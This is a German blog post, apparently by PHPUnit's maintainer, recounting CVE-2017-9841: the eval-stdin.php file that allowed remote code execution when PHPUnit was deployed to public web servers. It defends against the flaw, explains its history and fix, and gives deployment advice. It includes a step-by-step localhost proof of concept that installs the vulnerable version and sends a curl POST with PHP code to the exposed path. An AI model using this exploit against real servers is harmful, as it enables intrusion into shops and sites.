Eine Woche vor Weihnachten 2017 erreichte mich eine E-Mail mit folgendem Betreff: „eine Datei von Sebastian Bergmann PHP Unit führt zu Totalausfall“ (sic).
Der Absender dieser E-Mail war der bei einem Juwelier für den Betrieb des Online-Shops verantwortliche Mitarbeiter. In seiner E-Mail schrieb er unter anderem „[unser Hostinganbieter] hat unsere Domain mitten im Weihnachtsgeschäft geschlossen“ und weiter „hier geht gerade ordentlich Geschäft verloren“.
Was war passiert? Ist PHPUnit etwa ein Sicherheitsrisiko? Hatte ich gar versucht, den Online-Shop des Juweliers zu hacken? In diesem Artikel möchte ich diesen Fragen nachgehen.
Aus der E-Mail konnte ich schließen, dass der Online-Shop des Juweliers auf WordPress und dem WooCommerce-Plugin für WordPress sowie dem Google ProductFeed-Plugin für WooCommerce basiert. Eine oder mehrere dieser Komponenten wurde zusammen mit (einer veralteten Version von) PHPUnit ausgeliefert, welche die Datei eval-stdin.php
beinhaltete. Der Hostinganbieter des Juweliers hat im Zuge einer automatisierten Suche nach Dateien, die bekannte Sicherheitslücken wie beispielsweise CVE-2017-9841
enthalten, eval-stdin.php
entdeckt, den Host des Juweliers offline genommen sowie den Verantwortlichen über diesen Schritt informiert.
Der verantwortliche Mitarbeiter des Juweliers schaute sich den Inhalt der Datei eval-stdin.php
an. Schließlich hatte sich der Hostinganbieter explizit auf diese Datei bezogen. In dieser Datei fand er einen Copyright-Header mit meinem Namen und meiner E-Mail-Adresse. Daraufhin schrieb er mir. In dem Glauben, ich wäre dafür verantwortlich, dass die Datei auf seinem Webserver vorhanden ist.
Die Geschichte von eval-stdin.php
Die Datei eval-stdin.php
war im November 2015
zu PHPUnit hinzugefügt worden, um Tests auch dann in separaten PHP-Prozessen ausführen zu können, wenn anstelle des reguären Kommandozeileninterpreters ( php
) der PHP-Debugger phpdbg
verwendet wird.
eval-stdin.php
enthielt ursprünglich nur eine Zeile PHP-Code:
eval ( '?>' . \file_get_contents ( 'php://input' ) ) ; |
Wird die oben gezeigte Codezeile vom PHP-Kommandozeileninterpreter ausgeführt, so tut sie genau das, was man sich vielleicht schon aufgrund des Dateinamens denken kann: Sie führt PHP-Code aus, der vom Standard-Datenstrom für Eingabe (Englisch: „Standard Input“, stdin
) gelesen wird. Dieses Ausführen von Code, der von stdin
gelesen wird, stellt kein Sicherheitsrisiko dar, wenn PHPUnit in einer Entwicklungsumgebung auf der Kommandozeile verwendet wird. Und nur dort soll PHPUnit ausgeführt werden.
Die Dokumentation von PHPUnit ist hierzu eindeutig:
PHPUnit is a framework for writing as well as a commandline tool for running tests. Writing and running tests is a development-time activity. There is no reason why PHPUnit should be installed on a webserver. If you upload PHPUnit to a webserver then your deployment process is broken. On a more general note, if your vendor directory is publicly accessible on your webserver then your deployment process is also broken. Please note that if you upload PHPUnit to a webserver “bad things” may happen. You have been warned.
Legt man eval-stdin.php
öffentlich zugreifbar auf einen Webserver, so kann diese Datei für einen Remote Code Execution Angriff genutzt werden, da in diesem Kontext über php://input
auf Daten zugegriffen wird, die beispielsweise bei einem HTTP POST-Request vom HTTP-Client an den Webserver übermittelt wurden. Am 27. Juni 2017 wurde für diesen Angriffsvektor der bereits weiter oben erwähnte Eintrag CVE-2017-9841
in der „Common Vulnerabilities and Exposures“ Datenbank veröffentlicht.
Aber wie lässt sich CVE-2017-9841 nun ausnutzen?
Zunächst erstellen wir ein Verzeichnis, in dem wir arbeiten:
$ mkdir /tmp/CVE-2017-9841
$ cd /tmp/CVE-2017-9841
Jetzt installieren wir PHPUnit 5.6.2 mithilfe von Composer:
$ composer require --dev phpunit/phpunit:5.6.2
Die am 25. Oktober 2016
veröffentlichte Version 5.6.2 ist die letzte Version von PHPUnit, die in eval-stdin.php
auf php://input
zugreift.
Jetzt können wir den im PHP-Kommandozeileninterpreter eingebauten Webserver verwenden, um den Inhalt unseres Verzeichnisses über localhost:8080
zugreifbar zu machen:
$ php -S localhost:8080 -t .
In einer anderen Shell können wir schließlich einen HTTP POST-Request mit PHP-Code als Payload absetzen:
$ curl --data "<?php print str_rot13('V pna erzbgryl rkrphgr CUC pbqr ba lbhe freire');" http://localhost:8080/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
Als Nachweis, dass eine Remote Code Execution möglich ist, erhalten wir folgende Ausgabe:
I can remotely execute PHP code on your server
Am 13. November 2016
wurde die eine Codezeile von eval-stdin.php
geändert:
eval ( '?>' . \file_get_contents ( 'php://stdin' ) ) ; |
Mit der Änderung von php://input
auf php://stdin
wurde ein Problem, das nicht sicherheitsrelevant ist, in eval-stdin.php
behoben: Tests, die in einem separaten PHP-Prozess ausgeführt werden sollen, wurden gar nicht ausgeführt.
Aber nur weil eine Codeänderung nicht durch ein Sicherheitsproblem motiviert ist, bedeutet das nicht, dass sie keine sicherheitsrelevanten Auswirkungen hat.
Am 10. Dezember 2019
habe ich eine explizite Abfrage in das Skript eingebaut, die eine Ausführung von eval-stdin.php
nur im Kontext der Kommandozeile erlaubt:
if ( \PHP_SAPI !== 'cli' && \PHP_SAPI !== 'phpdbg' ) { |
exit ( 1 ) ; |
} |
eval ( '?>' . \file_get_contents ( 'php://stdin' ) ) ; |
Ich habe diese Änderung nicht gemacht, weil mir eine Möglichkeit bekannt gewesen wäre, den Code vor dieser Änderung für eine Remote Code Execution auszunutzen. Von dieser Möglichkeit erfuhr ich erst später in einem Kommentar zu der oben gezeigten Codeänderung.
Der php://input
Datenstrom erlaubt den Zugriff auf eine HTTP Post-Payload unabhängig davon, wie PHP in den Webserver angebunden ist. Es spielt hierbei keine Rolle, ob PHP beispielsweise als Modul in den Apache HTTPD geladen ist oder von einem Webserver wie nginx per FastCGI verwendet wird.
Über den php://stdin
Datenstrom kann nur dann auf eine HTTP Post-Payload zugegriffen werden, wenn PHP über CGI oder FastCGI vom Webserver verwendet wird. Ich war mir nicht sicher, ob php://stdin
sich wirklich so verhält, und habe daher bei PHP-Kernentwicklern nachgefragt. Joe Watkins und Christoph M. Becker konnten mir bestätigen, dass sich php://stdin
so verhält und sich die Implementierung nach den Spezifikationen für CGI und FastCGI richtet, die einen Zugriff auf die Request-Payload über den Standardeingabestrom vorsehen.
Im Nachhinein ist man immer schlauer und wahrscheinlich wäre es sinnvoll gewesen, die Ausführung von eval-stdin.php
von Anfang an auf cli
und phpdbg
zu beschränken. Allerdings sollte eine solche Beschränkung gar nicht erst notwendig sein, da es keinen Grund gibt, PHPUnit außerhalb der Kontexte Entwicklungsumgebung und Kommandozeile auszuführen. Es ist vielmehr unverantwortlich, wenn PHPUnit in anderen als den genannten Kontexten verfügbar ist.
Spätfolgen
Der Hersteller von PrestaShop, einer Open Source E-Commerce Software, hat mich am 6. Januar 2020 kontaktiert. Man informierte mich, dass eval-stdin.php
für Remote Code Execution ausgenutzt werden kann, wenn PHPUnit öffentlich auf einem Webserver zugänglich ist und PHP über FastCGI mit diesem Webserver integriert ist.
Am 7. Januar 2020 wurde eine kritische Sicherheitslücke in PrestaShop
bekannt. Die Ursache für diese Sicherheitslücke war die Tatsache, dass PrestaShop zusammen mit PHPUnit und dem darin enthaltenen eval-stdin.php
Skript ausgeliefert wurde.
Ich habe untersucht, was nötig wäre, um eval-stdin.php
aus PHPUnit zu entfernen. Dabei stellte ich mit Verwunderung fest, dass die Datei bereits seit Juli 2018
nicht mehr verwendet wurde.
Es ärgert mich, dass mir im Juli 2018 nicht aufgefallen ist, dass eval-stdin.php
gelöscht werden kann. Seit den Versionen PHPUnit 7.5.20
und PHPUnit 8.5.2
, die am 8. Januar 2020 veröffentlicht wurden, ist die Datei eval-stdin.php
endlich nicht mehr Bestandteil von PHPUnit.
Und die Moral von der Geschicht'
Ganz egal, wie PHP mit einem Webserver integriert wird, beispielsweise als Modul für Apache HTTPD oder mit PHP-FPM und nginx, an zwei wichtige Regeln muss man sich beim Deployment von PHP-Anwendungen halten:
- Das von Composer verwaltete
vendor
Verzeichnis darf nicht öffentlich zugreifbar sein. Es muss daher außerhalb des sogenannten „Document Root“ liegen. Und sollte dies nicht möglich sein, dann muss der öffentliche Zugriff auf dieses Verzeichnis zumindest über die Konfiguration des Webserver unterbunden werden. - Eine Abhängigkeit wie PHPUnit, die nur für die Arbeit an der Software, aber nicht für deren Betrieb, benötigt wird, hat nicht auf dem Produktivsystem vorhanden zu sein.
Ich empfinde Mitleid für jeden, bei dem durch die Installation von beispielsweise PrestaShop oder WooCommerce eine Version von PHPUnit mit angreifbarer eval-stdin.php
Datei auf dem Webserver gelandet ist.
Allerdings finde ich es verantwortungslos, wenn die Hersteller solcher Standardlösungen, die sich insbesondere an Endanwender wie den eingangs erwähnten Juwelier richten, ihre Software mit Abhängigkeiten wie PHPUnit im vendor
Verzeichnis ausliefern und die Anwender dazu auffordern, diese in das Document Root eines öffentlich zugänglichen Webservers hochzuladen.